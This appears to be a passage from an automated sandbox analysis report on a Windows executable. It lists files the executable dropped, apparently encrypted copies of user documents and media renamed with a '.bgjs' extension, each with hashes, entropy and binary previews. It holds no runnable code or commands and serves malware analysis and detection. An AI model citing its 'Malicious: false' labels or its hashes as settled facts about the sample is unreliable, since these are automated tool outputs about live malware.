Preview:	ATSCR......=.x............f...;jK5.w.%.......d.[...[S...D.?....].~...6(.V.I#.9.Q.).A..........:....e.B..(X[.........X3..Q..?.......<.....{.S..0.<K0._}Y.....k.2.t.P....+D.yz.e.!.7;.2....C'k.c..@..U(B...ga`...+.....C_v..^u....,....<.I.6.X...y.z..B`.\|B1..CH@rY.Pi...{...B...n.cx.B..j$....J..f.e.o)%../>.8.I....0...mP.r&.Ri..&.0.0......,%....`.`....#f....F...`..>x...'..7..!...K.^......t..#.$Y<."..Pdt.}..........Kd..sz0.J..IF...8NO...c.bi......~e...7.j..-.j.3.H,Z...WsA...#....u321.....m..{e..S....<.>".s.VO.=.2.@..@]...`.,'.D.6][.....i+....G...."...+1.G.P..)rO.w\..w....\|...]%t.e.W~hI..F#....h..&.!'\|..>.[B.... }vf.7WQ(.9....%U....l...U}._...Q....Mq.y...y...+Yx.w.Y.f.....Sc....t./.#...%..Mg...#...RM.1...p.F.E...%0.?c.aa...]!....LpQf.<r.O..x..S..CUR.G\.....f..}..).t.~cZ..S.Rc..;.ww.w...z..:l..l..1........~..#<.s.....]....#t:F....N(G.....W...0..N3....k..]....V.....G...s.....".O...%td=..-.M#D..p...i...g.y.rM........6.V.....x.Q...-.....^N.>.....u

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861507624643769
Encrypted:	false
SSDEEP:	24:eFjs1fq6GIjV6RqSw4jlCBpFS0n0IjTHKIOa5J5W1HJRsN0RTSpR5ZPBgXq8uWbD:eFjgfyImqSdjVi0IvHNOqubm0Y5gXFuQ
MD5:	A9226EFC34DE56E811041F64780C5553
SHA1:	C164420E1D10679322DC1AAE4443CE7AABD01F3D
SHA-256:	5FC2FE06A46FE07318B2CE3A5868F0F28E6DD5A523868CA6B6DD74065B6F797E
SHA-512:	9CC714BE3270DDC40A97A90ED20952F314B4BB49DCD346C7FB166BCE7FE0EF34FE1744B3772FA582DB7BA9909E873F4DA3C6D20A22E6F14CC5F8D7E676E93496
Malicious:	false
Preview:	BWDRW..Q.m...E...`M..A....`.#d_.r9g<..........7/b....b.)......vq.8....v..r~.t.m6.i0;2..,+.&0.......o.....{H.E?P..T..7....,.......,.TRi......G..{..)d...0l.....#...M..........n.C....<.a, =.%QS..?....4E....Z....iN+...c...;g.Y}..?..x.\|ci..4'..6.c..k.(....p]...y.D..,.......:%.'..HE.+7..A...-..w.sw!..e.....dM.,)l'^.V.v..1haivd..x.h..U........)..fe..3...o.:@4....S\.-....Gp!Vf......\.}....Wo..O.tr".y..Fb..K.../....?...{.4...#0.<l...F.('.F9.q.......r\.....l.A.4..=.."..\|$\.\..U..JWy..X].w......D...p.R.S.;..[Y<-.v...@R.....z....C...h.p.o.+.. ...,.q5z..,.{?.9. .V5 .\>i4....R.J...b.4........Y_.%..o....F....m\.P...t3.#......T/.c..(S..\|K.>.~..B......V..!..}.@',"N..L&<..\|.U.......x.Hs6..K..:....5.z.8........).q.U..-..O.Qw..1.O....::.1.r.x^.P{p..........Y{.....L...'.@*.mz..?..+A.G!K.....q5R..K.\.."s.gF+....T.pK...sL.m_:]~.....D]..x..\.....3......PD....L6..B.Xr.=x\|....[.[...CB.N{....f...l....,L.V...v..;0=.M.6L.t.5w.......gz....c].t.=........mH.J..$

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847152273588831
Encrypted:	false
SSDEEP:	24:3uN81MD9L832UrJqWGm/smSSsKGvZIOfmzSQEEfVhfdDhTcHjcVRXq8uWbD:3081MK3YdOsm6KGxIomzSQEE95hMcVR5
MD5:	0D8B146131ADAF1A96BBB7ED50ED5E9C
SHA1:	BADC222682EFA7C72ED9C900BA91778D3A44E336
SHA-256:	F7A6E8C5A14AF9FCB2AA525968589F2ADE4F150F76FA922ED146FA9AA6F93ABD
SHA-512:	D50F71329C346FDB28E39A7B3D7143183464F05617C77B33F4881EFF32FAD9DEBD0D57858C9CBFCE29E2FCB548E1EEADDBC73ACF31D4A47747156940D077D583
Malicious:	false
Preview:	BWDRW.. .B......X..).....A..s.[?..\...!`..a.v..C...=.N]..{..7.wj..,..n.......^...,E..I....:}.l..3I.f1M...g....'.6S.Z.....f....p...k..+......}......"C.....y..ci.o...I.....c...h.l......S..7g..!....DI.e...8s.8G.....AM..X...@..l..+.lM. .s.^...c..6...m.Dp.L.Gk.q.F..G..p.]"..Q.)...R..c]...rI.;Db..\|.......S..A.FAu....h<.QE...@..BT.....6.....I..B.b.>.....&.. ....BH..,...$......._...s\..0.z.<+-..=3....n.r.?...<..B.3.=..%U.."..&-.0f....T..s_...u..s.....-.x..Z..d..M...L...../.E..5D .;...{...sn...[.ut......]......S.Y..>.Q....I.....hX.Z,.D..#"g....h.,......;....q.....hJ.....l..m.]<...TXO1..ZA.......[{.b.......L..l-.k.}..6]......Z.H.._;T.%%..x..:b.E..co3..}..+..T../.s..v...^14............/6.0.G..Er&...".8..:.bB.........`.e...{...M.._zr-..K<.............F.......+$..q.......7...S>.!.[_o.l..Z.;n.AV..Y..v.F.yQ._v\|.....5.E.h...".c.:.\.........9..9.....(....n;_..&.-....(H.:;%~...j.."..R.%..3..g..ojy..E...r..}Q...[\4.......&c.. . @

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8581474170332966
Encrypted:	false
SSDEEP:	24:5dU05ttXh8vC5rcyNwPBOIbsdEs9StnBPBF3cLMaJSCWcNPZr5G9GBzXq8uWbD:vlu8IyOPnsKsSP4Aa4ZyP3RXFuED
MD5:	77D9CEE655E303B65921B8FA0DF2DAD3
SHA1:	30A8BAAEB879731DA14F0717C2D8D3D2C98EF366
SHA-256:	6D04C1078A1145C91E3C825350F3FC080DE32472D2763C22F7875F05B7B2EBE8
SHA-512:	13D1FFAFE30F98010B91BDE48ABC3E11D545821329491D5B4A8E355FEFFACD5E73A98031F9ABBDDEB8F8BB2082D7A3BDB0DE980B969B6D7BB219C71E96B742E8
Malicious:	false
Preview:	BWDRWZ...m^.}.]Z9._...M.. ...`......`..6.u\|..<.e..i$.R.O......u..<.E.......[.cj.......#C!....5.....].hi.}......"....P........?v..G..K.T.OY.Ao.gY....zB'I... 4.h...@Yb.....bO.-5..k..\|G.V..?<...j...@.ZJ..bI...Q.+\Ly..A;./.7.7..;Y>.3Yq...8.@~...Q......;..Y~.z.#....,."j.o....x...k....\.D.y.d...n[.....}.j..><.c.%.5e}h.2ip.Nq...09B.`...T.w..1.CS..TpyX........uF.z...o.no...q...R.).......k@4.{..."....&(..J.[.>X.B..K=..B$.H..^Tvy...p..1.p....D{De........}..zv..x}.1.......4...v.g.5....(g.r-.......[..g..)<.8H..z..X8...U..$...@cj..8..u..sj......4.......y^.'."D,ifp....{A,uN..V.k.....Y....[.1..U.A$}*:..:.`..ni,.j#...y....@L_y.....>^`y..."...`...\|3M?..\|#j...;[.i.N.......Loe...T/....zF...<t.^&..o4595EJ.....`..V.+....)\..Q$.....?.\Q...dg....J.K.!.......x.].B...........[w.F.i.....jq..V..Jw..be.$.`r.&%.F..S.F.?.;.........Nv.e.<.<.p:..'....]..v#.(...DC...+..3.j.w....\|U........}..Mnl^.!2Ff..\...C..H..../.W.=....q{.b....q...6.....-......f..wJn.......W...g.iv....

C:\Users\user\Application Data\Microsoft\Windows\Recent\EDCVNYNUAA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832765744397671
Encrypted:	false
SSDEEP:	24:8lL6Mk+TcNad/6fyQmzpg/RBA8vVe7XKQ6nLsM0LqRovzIpzX5Y6xFFKXq8uWbD:8lL6MDDMqTdgPA8E7j6n0GIY5dCXFuED
MD5:	56D36DDDBC3DA1ECDCB8A28085582762
SHA1:	E69296F46C1CA0436B1F5F13AE3F916990606C1E
SHA-256:	D7484F39311638C85FE5B23E62FF0861CB0815DECB16A3E710FED34581BAFB1C
SHA-512:	05D2D710E767C8892D600695024CA614E1515057A54FDB224DBE718258B5829611D7D8CA8A5636C54F114CE822CACA3DDBFF154FBA328091000B02AC5716A4B7
Malicious:	false
Preview:	EDCVN0.....@...."..b..l./.B.vL...8M...b.....d..Q.,.B..Z.".S.=.r~.6H3[6Sbn....s.s..i...l~..Q......i..OL..;%...I...S....eD....1W.l.O.WB~....vr8........Fqb..$.,.\|8.N1...Jo7C..O.b+..b.R.2..\|......I..\|.@.8CP.....Z..oj.l.i.h..........)...ySC.K.l....P......\|.k..".bm...n....m.(w...K0....3.$.FS....6.q..=.x..E.5....q]......5..(J....D;..e.$....4U..v.(B..#..CH....DO.=B...8WU.V$ivQ...>a3.j,Q.i.#'......:...c.....1F.;.G.....P%e.%..9...d.)..!...gg.c..]....".`7..(z;..... e...4..<j0..$....<.j.D.^.......`.M9.R.N...pM...B)..eX....k...^.....k..&T..}....r.....b.q....Q'..N..V.v~..uE....k...5s......}w....Z.......Gh7\..Bft=O...~;...l-.....q.v...7.H9...D8tz..$4Nf..!1Q..6o.6...5Y2..Sg...sxW.3fT..;..u...'pa...XN..s.u.l...=.U.8..SU..X;....p.m...mvV..{.y...w.^.._..........o.....Ix,\."x.+l....g.X.?r...j.+..d'F.\....d.?.$Y.0Lw.5@.....+....S8....F...UZ.^p...H .........{.Q.....4..c.`.B....2..&..Aj.....:......[B6...... 8..J.J.d.=...Oe.a.*.).._:J^....i..G..lq.D...

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841341783371862
Encrypted:	false
SSDEEP:	24:LcrPx9efmCtSklHoSRMX9IMbcS87eCZV8U73Xq8uWbD:LU5emG5FPO9IWGCU73XFuED
MD5:	FCBD72CA50AEDD1D316F6534DE5F679B
SHA1:	0974B2BF5BFEDD486053B114A9B7C88120018E81
SHA-256:	A1B9471FC5D2951819FDEF291ADDC7D3B7E19945BEF430AE3166C41B232FF864
SHA-512:	BFFC06D212DCD12A9E1042E4375B7E502B619B5FE0D5210B4D7531B4691644C3C5C6B1D386AE2D7F1AFAD8D7EE248B3802996DDB7CA09232CA9A69D1AC4E933C
Malicious:	false
Preview:	EEGWX.....8.h57.N..QiP.\..\|.Krm?..U..9.I.....Q?b....3.eS.~......j.r`.../..lP.W....O.(..'Rh....{..+6.QS...+..zH..N.t.gB......H.i\..A.......j....y..C.)2^g.g.G!..F.a.b.$8.y..s.r.rFNB...9Jl..71...K......u..L^..3w`I........./..&..!C....7.rCLn..~.D..y.uW..;.Ip....V...o.._d}_...o.>...]...M.l.[>...e..S.@di.h.......W(C{...#.........j.^\D...m.....).-..w...n.......8.Ah;....R...2..K.....C.GX.,..Z%.;...G..\|DN....}.\|....;..=d..q...L.Lr...b...ZN.......2.K.......0...W.3..zg.e....Bx...GH...... .K..;.mod=.b<n..:xH..ql$..m.1@.....c...h.tm.w[......1.4.O.%./..H+..7...xQ....&-3........j6...L.2...<.L...7.N.B5-..%...5\s.bd..)....?..2.-[....m..[..e.'X.`.....\|...^.9. ....}w..k1t.hK..X..a..o....KN6Y....]C..:......$]...H...EG...8h.oR.E....r.Q...[.X3..!..9.^.G..r.r:...{.YA..h.(yJ...a.X.....Ui..`...'W....2...=A!u$.......K....m.Q(.N...V.9....T?........].`.'..0.f..o..M....Mk.cJ.\....[5E...1UG..5...*Y.F^...(...AL.b<.%E...0.2ocr.....x.p..-6.`.C.p.w...#.M(G.S.s,...E.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EVCMENBQHP.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841383486040263
Encrypted:	false
SSDEEP:	24:eMO6R5/u+4D0C/lx0Kzmw0MYhBlvlrktzH5R8RAmrtZLZo02z2I6Nj4dxoKiXq8X:+6X/+0C/TewHuzv5KD8XZ82x4foKiXFX
MD5:	230B9982C7BB0935FBD067FC15159572
SHA1:	6AE6E3FA6AFDB6538E4D77AA59870215F8CCBF71
SHA-256:	BBA80F64F8AD263B71E236DCAB07995202B5B7D134C9B4E31D0788F7CE8B5122
SHA-512:	F8286EA7A7A8790EBE365096F1FCDA118DDAFEE9132EDCCB7D7E021F52A77B855041862796B41F4B495E6BDBC8485BA2ECDB8D9051C44A75B459C67CB543070C
Malicious:	false
Preview:	EVCME.$l.X=..c{I.y.6.T..xH.....(.....8QE.i...............w...(rR......]..$..;Hd.aA..n.`frTN.E..w:.y.Q.Kgc .uKJ...2[.r+...L..J..o...l.C.3Fj....Q.P&..2m.2Gi.s..Q .8c.9\|&....6/..;..st..IY..s_...!..E..Am..3RpO..dQ.c'..L.nqp?.7...'..O....e..&.Y.MY5.7..d.S/...r....))l.[.IG..`v....f.8<{..P..5-y..;._5.........6.Tf$.q..=...$..C..C..?..0.e..4.,1$.<#.G.....Y.....H..`....N..<....Ey..6.i...T.)..E.G...t`.!...5.p.Lx^2.o_.%%..y.x/G.1...!s.W-..B.+.:...V..j.f.......7E..Im.1W.w'}..:...J.?NUa...Mh."]:.K_iuL...+V.5.hd=5ih.........>=."..n.p...L....Z...A2.,.3..i...Zl....z...W?.;F..;.aP7k3{....U.v._r[.OYp..\'.kv..@...$.7...O.i.E.......@....G.......'.}....n...Vu.z.@r..D...w^...n....cB."F.."...w.,.M..j.......w....B.Wv..b.....`.'..i..tJC..E+2V.Ggg.;........T.O.)..t.8..8.i..w...Q7!wE...R.wd.E.....PAE.J...J...3w./.Xl#..J.O&..g....4.D...#...EHo....w~...1\.........d..9....^R...........Uu......Q.td..8z. i.F]....&.vM:64..Yg..+.#.s..K...&:.D.#C1s.-w%Pe(.,.....Lqxq

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857921710318521
Encrypted:	false
SSDEEP:	24:U51IWdRWyFD1tHzogu3axSkRgPAxN8+dm88xdO66ZmKYhMMhNrzJHqofU5aOb1yC:K15dpD1JkgujYMOdd8x1HhNrzVqofAgC
MD5:	3D32EB58CD0C603EE3782DF852179C59
SHA1:	C74542A33EC8E1D0E38301F1539816BC33849EF4
SHA-256:	0B82D814F1B0BA947640A6FCA774066C2A09BB548A1010B46F29C3749C648A9B
SHA-512:	77CAB78BB3244CB05BE6322F24B1831D5F9462762250D48E4F35D72A250EAFEFE627221D6BAC843640ED76C1945116ED62B005055FA091D3EDB5E382C5637DAB
Malicious:	false
Preview:	GRXZD.u.....N..+....{x.....FE.<.7 y.g.QHI9.7..I..9.'0...N.S..vV..''.{..L%j.._.(..N.....P~.5=.`. ..~.E.6p....._.:.C.?.d.t7......#.[.Q.R..w.r0.>.?.)4..".k..^...;5.8...+.KDP.A'.\tZ..#{.6...I...Y.u.>d..xj.>.J}?.....U...{g}%...X....x...d$.......Q.."...u^u.8M.bq.V..\^.F+.G.%\.....I.........n.B.'^.\|.-.t.......:e.....@.L`..$+.B.:..Y.`..-....R..PLny .k.....cZ..r...K~..PN...q.L...-....p/.H..>..H.K.....]I@......Q .(..!...F!i.K.iYe.jzaG..E4..2.......P-M..i.V..g.-g..N......./o...?.8.c.pz..d.-E.b... ......dS.k.E<..P..W....T3F...[.....n.kR=..].4/#4...p.<.xE?:.n...x..c.....'s..w6..vI...K.'... ...VKI.+3..aF%..;;o...B_.......d...P!.......3...r.?.WS..; -...C.N).../...E..}/xyy\|.)..Sl.....P.g..[e.3/..m[Pb...}..{<.....29.!k...X.....f...!.y,.....:.Q..5...z1,..J....Kv\|.U..w~s...x!.....,\o..\|....I....#...N.p../......Y.4.e...-...?/..?~#.C..C.EO*..m.e.V.....v..2....Y.o..d.........h..n=...3.cke.M.$kv...jA..).!...1.6..}."._P.]..P. ...de<....&..i...Z9.2nW...

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834440522137013
Encrypted:	false
SSDEEP:	24:QrxMoYVpgPwlBmzqy9oGFC0R6dlS7L0xIQdAUyQUc11NcmjwHPH+JPZ83rHJeXq+:QGXGwEq1X6UQEcqGPH+b+DJeXFuED
MD5:	36C4872A2F3AE1DE447572F333386D4E
SHA1:	44C5ADFD4C22615A186DFCEA26828EA5E1684060
SHA-256:	9A07A7C4A068918D5C0908CA36186E28411FFA074BA3946D71583DCF48D9ACF8
SHA-512:	559FAA5B4E80FEA44D33688AED4027537A3182CA6FD85E344CCCCAAB13615BFCB1D9B0837F6545E84B6B9AF96293B56B6AFE36E038D15F5D7866AE199F06031E
Malicious:	false
Preview:	GRXZD.O....I..TQ.6....\.od}...k...nV..$...P..J...a.>.h.@.Lq.....k.3"h......".......\|h..s9.....Z....L..`=.^x....O...(.....y..\|./..i1....<'G.....o.)..X..b5..r.....M7..".(ZJ.d..:...C./C...]...@`H.....'.x.K;x.X...~..>..9.8h..c....`]4.N....?:...$..e....8...u.f.{.m.9.&...'..l..f...............c{[>...A.8i.&.~Bc4..Z..1.....IG..!..q.+..v....W.9..\.O](HE..H_:Ql5GuH`O..6..o} .Hz ...m.......2.;....0.4K\.!i.V.4...6....P.,....]...wM.2.X,.....$.h.z..'w.M._P}.D...K....Old.3..,..~.......ij9\|...-."I.....B..h3..M4.9."..2Ds.L]8....6].&.^&.z.f...`....z......_...*....b.LV.0...i...~.w..V.f.~.J...9..U\@~f`f....r.H..=....r".+...>...;..d..e..E`W..B..x..J...q...-X..".I..ikn..e.<..[r.Y".i..o......q..P.....A[.R>2)...@.u_..K.E4.`Lh8.k+..r....w.....Zf.410... BP. .~.w[.......&....n.."{.:.....x/....p.S.f..I..o.?.6......`...J..H.t...o..M b.L.a..a<.u. .(....R.?./L...0q+..:..J.g.Wc.>......:.(.=.S)9..g..X...j.'t\|....Yh......@..E.....o]..o..N6[e.4I.3.Y..c....5......qg.

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863849429475777
Encrypted:	false
SSDEEP:	24:uZMw/dHXE3KOaOL0el3xZDZ2DtsKM5fVRGI1Dl0sXoydf1aXAtwe+8tEE0pDlzXp:A1dHXgaOXl3/DZWqKM5fjt502RSS3ez5
MD5:	957D351D377FD667B212BC1EE7C4A60F
SHA1:	3D25C8695C962887CC9C1681CE810B690DDB7520
SHA-256:	8C6190FAAF83FB360FB630DD7A4091D9F694E2689E5B1CE37E92AC7DCC27D419
SHA-512:	5311AC098C41139E68703D26043483B909FD2ACB0FB4BD7735B69933687531AC55C2AD36122A57E46C693749FAB50B8F7CD6C192EA21109CED540F3ECAF11571
Malicious:	false
Preview:	GRXZD....q.ME+c.L..$.wA...qk.<.....?.....(...H....JW..h...tL.3...A.u.n.B..nT.o..{.N.:.......\|.."...`..]..I. $...J......<mS.P.$...#.]j2....P...r.mB...0....J.....0.^...B.6..~.VL.i`p.",..b......ad#R...K..z..."..H..~..5....~.F.o.J'f<..:.....`.%XN....N.[.+,...=.T..R.h...4..$. ...F.u.ao..G.....f8r...t.n.6..u3.._=I....t.gOG......e.~.2CW...ndS"..).....;Z..@Z.l.T..f.^3.L.\....k...}.H4.../.+.y3...`....f6.D.........7.]J.......(6..Z..tWv..c..o\|....a....S..J..V-...7.P.Pu..u!p........3n.z...e...-R....&.......X...7.?.v.._...6 ...R..P.KO.+..-.`(..B..'.M.x[_...N...^..G.......S.V-...H..`...kK\.../...6&.g*E.o..LTY.3.K.c]...W.T.c..m ....K&...F$..oo..w^v......p..B.ZL5...%..]...ABWz.^.a:.....%.8....U.....&.l...,.G.F...d..h...G.3!,xi......2.%O..Pu..D.+...!7.Z.J..ZmXD......p....S.!h.3.e......&@.z.L.(;....`.y..I.{...)c..........:?.\.iw..y..lfH..rp..3l%...T.Uu&W.....V.I..6.a.Ue..Z>..Q..K...[.b.g....b.N..1....l-.....>..\|............L..=7Y...k~w...

C:\Users\user\Application Data\Microsoft\Windows\Recent\HQJBRDYKDE.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864615498060315
Encrypted:	false
SSDEEP:	24:Glr06QAAFK/KhL4pYccsN018eU7S2eDEyVoBVPnDqkUP5Xq8uWbD:+r06QbFK/rfanAyGvPnGB5XFuED
MD5:	C9C9698DF60AD7D17342C5AD619FA760
SHA1:	FF545442E75090BAA67160CE1ECDB46A14FEA789
SHA-256:	4B202747CEFF0FE2DD8E94BF3C6EC9D4501974EABA1628018F288DCDAB04EE94
SHA-512:	22BDE0641859BEAE2B307F9727C386CCE30D9B09F46A96D3BF9374D51A92108A51274286936FE2622869E9BB46F824B0E106860CB69C6CB237686E0936D89732
Malicious:	false
Preview:	HQJBR.../.3.R-...<).E)....{J.4.N.o5..3...'..Xm.S.e!PI.!l.2G\|.6.>.c...W...O~.wm.\|..[.@...?P...u......_u...D]....z....WM].d,.[R...../..D...Q.X....6W!..b....c..)F.G....R.A........n.0.zC.j....o.f..0.z.r....O.LCJ.m.?].}u<.5.I.w...j.t.....PW......#.v..^X.T.}.v.o..0....!.\......2.Q...V.[S.X.m.B...`%......x.g.t.CMw.....Dpu..jp.U...k.W`..MU.v[~...~-Z........zz....4+.h.=.8.:.=O...o..e0..K..L....#K.......fT.WX.0/=UD.......5..$..k.I.2354e.....A.H..J...B.....[.c.t..x."..WOG....3.}WM..$h.W+.1..&a....%..../.6.D.....e...G..T0....n...N#V.R.K^Qb...CLE./Jv.rW...mS...D..A......7.e0my.9.,......!l.....dDn...>.D.b..y...'...\|..S..hH.....2...pX.o#>6...1...;h.36.`......P^....\|..$.._.'.~!.....:0..,=..]Tv....3T...`......ZX.....X}.zKE..H...........\.w..'?..gP..e..`n....TW.=I .....yv..R..\|&NA....6....<.k.Mn..-{.v=.2..T.O.S6...E...>J32...$....~p.......Hl..VO...L..w..f.d.Au...%e.X......Gh2..;.V.c.<..8.s`....:.V..%x.lift..~.t%8.*(.2.!.5KXZ...e.(....'hb.M[

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861442814790613
Encrypted:	false
SSDEEP:	24:pFgI86h4HWnwP7S6XVsp4arAQ0xbe5+VlPbQnY2HR11NfNQhCg7BaYuXq8uWbD:xh42nwDs1rAQ0xv6xZfyhCnzXFuED
MD5:	1CAB6E5CEF6A00E4F8B40547BF4BCB0E
SHA1:	2E427829272BB1B668D1F1D42D6807DDF872FBC4
SHA-256:	1BDDE1AD59718BC327D765D86D72B6853FA609BA03D553038FF0F4E5C988F298
SHA-512:	6738696D53D39594B322661BAD5443502B8AF648D89CD608ECF809E0ED67B59CA6CE2D6B4D3D261C4C7868A12E4D6C451D5718E65338951247D398A1E72686D5
Malicious:	false
Preview:	IPKGEp...}...v7LU.m.6Eo..J...L&.....J./'...`..(\|(_.I...Y..4.X.BdD,.#I....Di.2....W<.j......i.l.....v.../...w."M.(f..1u %..x,L#qj:..OP.Y..O.U.....]k..2..Z#C.....w.7.#.1Q.).K..x....-...ERN.Z...z.dn,9...l.{...... ...\.hbHi?.j....am...9...M.3...<oH.h..n2F..8...ykk........6,.z..)LN...>..t.......cd..+..1m.,,.7../..q..u5.....3.@K.9G..S.j.....!..$.....iVr.7...:..:K.4..G.Y%....>~...d.....p.....b\|2..R.........=.$.#.P!....../R....e0E>4.1......b.^..aV.h..-.^qe.O_.-e 1\|)#M..h.$w.....X.DU:..%.t...:.4s..b.i+..1....[...o..5..-....dR]....M.J\|4.h.......S.)_HC.ik...^-.}:...\|..<..>.K@.\.ha.?.K..C.Wa....?..,.3>..2u"=..13r.7..2...5E.b.....p^..{..V.)w...5..F35j..S....i...+.rg.V..:.R3~x..y.j.=.t/..m..X{x%.1.<...\|\|P.MvR.;.G....l...h... G\|.V_w..e.z....kN...B..%.5t.w).&.<....A.IO.~..3`...5E..sL.....\|...1){U!..y..};B..o..G2..8&..9A....B.B.tp....k..&...S.k$....X.=."..>j?....Q.....H.Uan.'@.$...S.....6...@..h.{bY...o...5.3.R.H..2.. @....M>>.......^......

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865447476053371
Encrypted:	false
SSDEEP:	24:VVMg0q696/cLZgLMng9TZmyVN7CqN2BXkUKQMoj1FMsCts3ZOWO/Xq8uWbD:Du6/2ZW9Eyn7C3XkX5ozMsCtCZZO/XFX
MD5:	F06E490B8F5AD711938A90F07C4C27E1
SHA1:	57664BE84A2DF1D32534556A9E8D978E21D42BFE
SHA-256:	426B4AFA3E17DF0655BD4D06CA1131D4518544B543A95CD76E126181F12B6F2D
SHA-512:	D3FC0F779D4D64AD3317E71F1CD60F02BC261315268EF4A1DD852C57FA2D07CE5CEAC2A0B9DEAD7AC59DFB74FA77DD896D7513636E7FB42B36ABCF72519B6FCE
Malicious:	false
Preview:	IPKGEy...{.We9..AV.g...Wh...z.q...6o.~..\.....K.,V..k.)/..Rnci.n..F4.:....G..$..].".2...\b....r^..c2..V..,..Lo.?.....2.R..,..&z@.@Q..J.%..U..'.}.~....z.D...k\Z.B..O.F..Q..\|?.z.\|......+....pp.L..>....g...P..C...Ur.....+...}..,..J.(J..xg..f..\|..`..^.z....]..H..=........q/`j@Sc..h...G....4....q~.......O..Y...%1........V..)(arq..............I.s1\|.3X.5....6.Hs#.X=x..z.e..IP.x..8.8F..y....nP......T?.t.-....=...2(..B.r.\|; \.k?.Y5z..0......C.........^...$.j. ..+..z.y.C.:S.......[...+.8.<.......r+.P#.J.<mi'..V..7..lW.+....C...{J...+..{}.P..\|...[.$....Lh...qu...G...H.....%W.?..ue.=......4\|...3....CE...,..`..m...V......m..p...-.B.@..\T.+Q..F.4..t....M`..^....+....`#B.Tv#:_`......Xi..&.%.&..@6_....i..U.E...A.5<..+!.....0<.Qp..G5..7..b!1w....'...T.l....s.S0...}.=.rM...\.;.l......YZ....flw~,...h.w...3...W....L...X8z].l.."9..gd..I..+.x&..,.}R.......m......C.D.>.t.6@.ia..~}i...Y...\|..''...)/.. ..h.....'.y.s1..n.}.+...E.]=.^..3.#H.,...>...h.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84731879319899
Encrypted:	false
SSDEEP:	24:blIKe6sf4yYdJUJhM5xMr1HBFXZVwZuMroaLdDTQLDRGnyfWtC0Cde9kXq8uWbD:he9f/MT4l1EuMBLtkL9GnyuA1e9kXFuQ
MD5:	423C15DB1CF536F2800248A739190A3D
SHA1:	0A4588368321954A4582051B04949B7BB4CA47FA
SHA-256:	6BDDD4B920E01B85E17511EB4745352C3D0C1A74C3F319A09716378760765D52
SHA-512:	303E4061FC73C9CA518E3736AAC0F78F357F9CEC4C0633BBD2659C2799BAC560BF84CFAA19D931292F7A70A853E058958888F992258C0A8B575A3E852707408D
Malicious:	false
Preview:	KLIZU..w...e..1.....g..Y....f......D...b z..l2.....,.;3....F...&b?....O........ov.9...!T......&4d1.i.j.................c....l..D#.B.NO.H>1.hMuL..k..V......v..7.?10)...q.<B.w.kD.].(u.~.u~.....j...V,tg...9^.^.S...wHC2N..g.W..Y.J.?..b@Mw.N..$. ...36......b.U<....?.3...L...1.J..)........d.d...t.....3.....`..R.t0K..k`..8.....].O.....+.b"s....^Y....v"T...J$-.".9\| %'.jEv..../..7#........Y..B....P,.$,..s..Y...<}n..[dK]..Pe...54.J..<..A.Jy.......c....z...5g.o..2\|.8".Q...V.`Q..Y...M0.,..M...2E>).0.........N.)..Yy...IE.b.....8e.....v.-...*...w..Z.YI..}....V.Xb...ON,.cZS<.e....U...P..^b...........F..5U.\..0..}Z..R.p....T..#.r...Z..2...k..._!4......1.Y...ot?.......a<..i.7k..z=.......S...e..p%5.9i2m......S"z.]c.qq.]...$...p5......0@W.....o....f.3.V.K.......... P..\%xI.>{.....H.Tik.M.+g....1..Sp..@V'....G..K.....D.>K.......ab.9h.....]..:>..m..Y.,.?...=....... w.....>..L...r..G...04..Vx6..0.8.....`."...y..p.U`..qG.O........(........@T.z.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865324033123052
Encrypted:	false
